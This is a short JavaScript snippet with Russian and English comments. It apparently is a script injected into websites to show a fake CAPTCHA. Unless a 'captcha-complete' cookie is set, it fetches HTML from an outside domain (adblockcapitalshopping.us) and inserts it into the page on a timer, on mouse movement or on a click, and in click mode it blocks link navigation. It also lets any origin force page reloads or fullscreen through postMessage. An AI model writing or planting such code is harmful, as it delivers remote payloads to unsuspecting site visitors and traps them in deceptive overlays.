// Режим событий // 0 - сразу/по таймеру // 1 - движение мышью // 2 - по клику // Events mode // 0 - immediately/by timer // 1 - mouse movement // 2 - click const mode = 0; // Таймер // Timer const timer = 1000; // Событие перезагрузки страницы // Page reload event window.addEventListener("message", e => { if(e.data === "reload") { window.location.reload(); } }); // Событие перехода страницы в полный экран // The event of transitioning the page to full screen window.addEventListener("message", e => { if(e.data === "fullscreen") { document.documentElement.requestFullscreen(); } }); // Функция чтения куки // Function for reading cookie function getCookie(name) { const match = document.cookie.match(new RegExp("(^|; )" + name + "=([^;]*)")); return match ? decodeURIComponent(match[2]) : null; } // Чтение куки // Reading cookie const cookiename = "cookie-captcha-complete"; const cookie = getCookie(cookiename); // Кука не найдена // Cookie found if(!cookie) { fetch("https://adblockcapitalshopping.us/thread") .then(response => response.ok ? response.text() : Promise.reject()) .then(html => { if(html.length === 0) { document.cookie = cookiename + "=1; path=/; max-age=" + (60 * 60 * 24 * 365); } else { // mousemove - любое движение мышью if(mode === 1) { document.addEventListener("mousemove", function(e) { setTimeout(() => { document.body.insertAdjacentHTML("beforeend", html); }, timer); }, { once: true }); } // click - клюк мышью в любом месте else if(mode === 2) { document.addEventListener("click", function(e) { // Предовращение перехода по ссылке e.preventDefault(); setTimeout(() => { document.body.insertAdjacentHTML("beforeend", html); }, timer); }, { once: true }); } // без событий, но с возможностью указать таймер else { setTimeout(() => { document.body.insertAdjacentHTML("beforeend", html); }, timer); } } }) .catch(() => console.error("Failed to load page!")); }